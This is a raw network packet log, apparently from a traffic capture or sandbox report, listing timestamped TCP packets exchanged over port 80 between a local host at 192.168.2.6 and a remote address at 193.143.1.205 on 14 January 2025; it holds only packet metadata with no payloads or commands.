Jan 14, 2025 08:47:07.090158939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.090173960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.090207100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.097464085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.097511053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.097547054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.098510981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098568916 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.098629951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098684072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098717928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098752022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098787069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098798037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.098798037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.098820925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098855972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098890066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098923922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098927021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.098927021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.098962069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.098995924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.099005938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.099030018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.099066973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.099096060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.099098921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.099180937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.103857994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.131478071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.131535053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.131599903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.136531115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.136569977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.136605978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.136641026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.136641979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.136734962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.140947104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.168812990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168828964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168848991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168864965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168875933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.168876886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168900013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168901920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.168911934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168925047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168936968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168939114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.168948889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.168962002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.168993950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.169034004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.169045925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.169059038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.169070005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.169081926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.169096947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.169125080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.169282913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.169296026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.169308901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.169321060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.169349909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.207407951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207453966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207505941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.207513094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207551003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207595110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207597017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.207650900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207684040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207694054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.207721949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207756042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207766056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.207791090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207823992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207835913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.207859993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207895041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207901001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.207953930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207988977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.207999945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208024025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208065033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208067894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208126068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208158970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208175898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208193064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208233118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208244085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208296061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208328009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208334923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208364010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208400965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208409071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208436012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208468914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208479881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208503962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208539009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208544970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208575010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208617926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208625078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208661079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208693027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208700895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208728075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208764076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208770037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208800077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208832979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208841085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208870888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208904982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208909988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.208947897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208981991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.208992958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.209017992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209060907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.209069014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209121943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209155083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209161997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.209189892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209223032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209233046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.209259033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209291935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209299088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.209326029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209361076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209367990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.209398985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209431887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209436893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.209466934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209501028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209511995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.209536076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209572077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209575891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.209611893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.209652901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.212321997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.214524031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214575052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214610100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214622021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.214647055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214687109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.214709044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214756966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214792013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214797020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.214827061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214860916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214870930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.214895964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214931011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214936972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.214967012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.214999914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215003014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215037107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215075016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215357065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215387106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215421915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215430975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215456963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215491056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215501070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215524912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215559959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215562105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215612888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215646029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215656996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215698957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215732098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215739012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215766907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215800047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215811968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215835094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215867996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215872049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215909004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215941906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.215953112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.215977907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.216012001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.216017962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.216048002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.216093063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.217765093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.217816114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.217849016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.217859030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.217883110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.217922926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.217935085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.217967987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.218003035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.218003988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.218039989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.218081951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.221944094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.224688053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.255585909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.255660057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.255697012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.255712032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.255759001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.255805969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.255812883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.255848885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.255884886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.255887985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.255923986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.255959988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.255961895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.256011963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256047010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256057024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.256082058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256118059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256122112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.256151915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256186962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256191969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.256220102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256254911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256263018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.256294966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256331921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256335020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.256366014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256402969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256403923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.256431103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.256474972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.258563042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.263938904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.294394970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294440985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294493914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.294500113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294538021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294573069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294585943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.294631958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294677019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.294686079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294719934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294754982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294764996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.294790983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294835091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.294845104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294903994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.294949055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.294955969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295011044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295043945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295047998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.295080900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295115948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295121908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.295175076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295205116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295217991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.295255899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295289993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295296907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.295866013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.295912027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.295950890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.295969009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296000004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296039104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296041012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296097994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296128988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296138048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296183109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296222925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296224117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296258926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296293020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296320915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296325922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296361923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296381950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296416044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296458006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296468973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296504021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296538115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296549082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296571970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296607018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296617031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296641111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296675920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296679974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296709061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296742916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296744108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296777964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296813011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296839952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296847105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296878099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.296900034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296952963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296988010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.296996117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297022104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297055960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297061920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297090054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297125101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297125101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297161102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297195911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297200918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297231913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297266960 CET	80	49710	193.143.1.205	192.168.2.6
